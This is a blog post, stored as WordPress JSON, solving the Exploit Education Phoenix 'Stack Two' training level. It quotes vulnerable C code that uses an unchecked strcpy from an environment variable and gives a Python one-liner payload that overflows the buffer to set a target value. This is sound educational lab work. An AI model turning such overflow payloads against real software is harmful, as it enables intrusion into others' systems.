{"id":436,"date":"2019-07-09T11:30:40","date_gmt":"2019-07-09T15:30:40","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=436"},"modified":"2019-08-16T13:19:57","modified_gmt":"2019-08-16T17:19:57","slug":"exploit-education-phoenix-stack-two-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-two-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack Two Solution"},"content":{"rendered":"<h1>Stack Two<\/h1>\n<p>The description and source code can be found here:<br \/>\n<a href=\"https:\/\/exploit.education\/phoenix\/stack-two\/\">https:\/\/exploit.education\/phoenix\/stack-two\/<\/a><\/p>\n<p>This time, we need to overflow &#8220;<strong>buffer<\/strong>&#8221; with an environment variable. The code shows a pointer (<strong>ptr<\/strong>) pointing to a string in the environment variable &#8220;<strong>ExploitEducation<\/strong>.&#8221; It then copies that to the &#8220;<strong>buffer<\/strong>&#8221; variable via the <span style=\"font-family: Courier New; font-weight: bold;\">strcpy()<\/span> function with no bounds checking. Finally, a conditional checks the value of the &#8220;changeme&#8221; variable to see if it is <span style=\"font-family: Courier New; font-weight: bold;\">0x0d0a090a<\/span>:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">ptr = getenv(&quot;ExploitEducation&quot;);\r\nif (ptr == NULL) {\r\n    errx(1, &quot;please set the ExploitEducation environment variable&quot;);\r\n}\r\n\r\nlocals.changeme = 0;\r\nstrcpy(locals.buffer, ptr);\r\n\r\nif (locals.changeme == 0x0d0a090a) {\r\n    puts(&quot;Well done, you have successfully set changeme to the correct value&quot;);\r\n    ...<\/pre>\n<p>Again, we&#8217;ll need to put those bytes in reverse order:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ ExploitEducation=$(python -c 'print &quot;A&quot;*64 + &quot;\\x0a\\x09\\x0a\\x0d&quot;') .\/stack-two\r\nWelcome to phoenix\/stack-two, brought to you by https:\/\/exploit.education\r\nWell done, you have successfully set changeme to the correct value<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Stack Two takes a look at environment variables, and how they can be set &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-two-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Stack Two Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-436","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/436","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=436"}],"version-history":[{"count":2,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/436\/revisions"}],"predecessor-version":[{"id":687,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/436\/revisions\/687"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=436"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=436"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=436"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}